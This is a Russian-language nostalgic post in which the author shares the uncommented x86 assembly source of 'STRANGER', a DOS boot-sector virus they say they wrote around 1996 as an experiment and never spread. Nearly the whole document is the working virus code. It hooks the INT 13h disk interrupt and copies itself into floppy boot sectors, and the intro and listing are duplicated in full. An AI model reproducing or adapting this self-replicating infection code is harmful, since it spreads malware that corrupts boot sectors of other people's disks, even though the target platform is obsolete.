В далеком 1996(а может раньше, дата файла 96г.) году был у меня компьютер Поиск1 и учился я программировать на assembler. И конечно я не смог обойти тему вирусов, так как было любопытно и позволило мне изучить работу: BIOS, накопителей(FDD, HDD) и файловой системы (FAT). В те времена переделывал вывод CGA для Поиска1, писал драйвер джойстика и еще много интересных вещей. Хорошее время было...
Вирус был написан только для эксперемента и не расспространялся.
Сейчас это уже не актуально, но может кому то будет интересно.
Код правда без комментариев, но если интересно можно разобраться.
;------------------------------------------------------
CODESG SEGMENT PARA 'CODE'
ASSUME CS:CODESG,DS:CODESG,SS:CODESG,ES:CODESG
org 12Bh
adres equ 12Bh
smech equ 40h
sizvir equ endvir-begvir
;------------------------------------------------------
begvir: push cs
pop ds
cld
push cs
pop es
mov si,07C00h+smech
mov di,adres
mov cx,sizvir
rep
movsb
les bx,ds:[04Ch]
mov word ptr ds:[iin],bx
mov word ptr ds:[cin],es
mov ax,offset reads
push ax
ret
reads: push cs
pop es
mov ax,0201h
mov cx,4F01h
mov bx,07C00h
int 13h
mov ax,offset inter
mov word ptr ds:[04Ch],ax
xor ax,ax
mov word ptr ds:[04Ch+2],ax
push bx
ret
inter: push ax
pushf
pop ax
test ah,01h
pop ax
jnz m8
cmp ah,02h
jz mk
cmp ah,03h
jnz extin
mk: cmp cx,0001h
jz redvir
cmp cx,4F01h
jnz extin
m5: retf 02
redvir: or dh,dh
jz zar
extin: db 0EAh
ain label dword
iin dw 00h
cin dw 00h
m8: cli
les bx,cs:[04h]
mov byte ptr es:[bx],0CFh
pushf
pop ax
and ah,0FEh
push ax
popf
db 0EAh
dw 0FFF0h
dw 0F000h
zar: cmp ah,03h
jz mh
push ax
mov ah,02h
pushf
call cs:[ain]
pop ax
mh: cmp byte ptr es:[bx+511],0AAh
jnz extin
mov ch,4Fh
cmp byte ptr es:[bx+1],029h
jnz m6
jmp extin
m6: mov ax,0301h
mov cl,01h
pushf
call cs:[ain]
mov word ptr es:[bx],029EBh
push ds
push si
push di
push cs
pop ds
cld
mov cx,sizvir
lea di,[bx+smech]
mov si,adres
rep
movsb
pop di
pop si
pop ds
mov ax,0301h
mov cx,0001h
pushf
call cs:[ain]
jb mm9
mov cx,4F01h
mm9: mov ax,0201h
jmp extin
db '* STRANGER *'
endvir:
CODESG ENDS
Вирус был написан только для эксперемента и не расспространялся.
Сейчас это уже не актуально, но может кому то будет интересно.
Код правда без комментариев, но если интересно можно разобраться.
;------------------------------------------------------
CODESG SEGMENT PARA 'CODE'
ASSUME CS:CODESG,DS:CODESG,SS:CODESG,ES:CODESG
org 12Bh
adres equ 12Bh
smech equ 40h
sizvir equ endvir-begvir
;------------------------------------------------------
begvir: push cs
pop ds
cld
push cs
pop es
mov si,07C00h+smech
mov di,adres
mov cx,sizvir
rep
movsb
les bx,ds:[04Ch]
mov word ptr ds:[iin],bx
mov word ptr ds:[cin],es
mov ax,offset reads
push ax
ret
reads: push cs
pop es
mov ax,0201h
mov cx,4F01h
mov bx,07C00h
int 13h
mov ax,offset inter
mov word ptr ds:[04Ch],ax
xor ax,ax
mov word ptr ds:[04Ch+2],ax
push bx
ret
inter: push ax
pushf
pop ax
test ah,01h
pop ax
jnz m8
cmp ah,02h
jz mk
cmp ah,03h
jnz extin
mk: cmp cx,0001h
jz redvir
cmp cx,4F01h
jnz extin
m5: retf 02
redvir: or dh,dh
jz zar
extin: db 0EAh
ain label dword
iin dw 00h
cin dw 00h
m8: cli
les bx,cs:[04h]
mov byte ptr es:[bx],0CFh
pushf
pop ax
and ah,0FEh
push ax
popf
db 0EAh
dw 0FFF0h
dw 0F000h
zar: cmp ah,03h
jz mh
push ax
mov ah,02h
pushf
call cs:[ain]
pop ax
mh: cmp byte ptr es:[bx+511],0AAh
jnz extin
mov ch,4Fh
cmp byte ptr es:[bx+1],029h
jnz m6
jmp extin
m6: mov ax,0301h
mov cl,01h
pushf
call cs:[ain]
mov word ptr es:[bx],029EBh
push ds
push si
push di
push cs
pop ds
cld
mov cx,sizvir
lea di,[bx+smech]
mov si,adres
rep
movsb
pop di
pop si
pop ds
mov ax,0301h
mov cx,0001h
pushf
call cs:[ain]
jb mm9
mov cx,4F01h
mm9: mov ax,0201h
jmp extin
db '* STRANGER *'
endvir:
CODESG ENDS